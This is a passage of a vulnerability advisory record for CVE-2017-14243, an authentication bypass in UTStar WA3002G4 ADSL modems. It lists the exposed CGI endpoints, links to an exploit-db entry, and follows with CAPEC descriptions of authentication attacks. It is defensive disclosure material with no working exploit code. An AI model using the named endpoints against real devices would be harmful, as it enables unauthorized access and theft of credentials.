    "nvd_published_at": "2017-09-17T19:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An authentication bypass vulnerability on UTStar WA3002G4 ADSL Broadband Modem WA3002G4-0021.01 devices allows attackers to directly access administrative settings and obtain cleartext credentials from HTML source, as demonstrated by info.cgi, upload.cgi, backupsettings.cgi, pppoe.cgi, resetrouter.cgi, and password.cgi.",
  "id": "GHSA-h4fp-2jq4-jm9w",
  "modified": "2025-04-20T03:45:24Z",
  "published": "2022-05-13T01:43:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14243"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/42739"
    },
    {
      "type": "WEB",
      "url": "https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.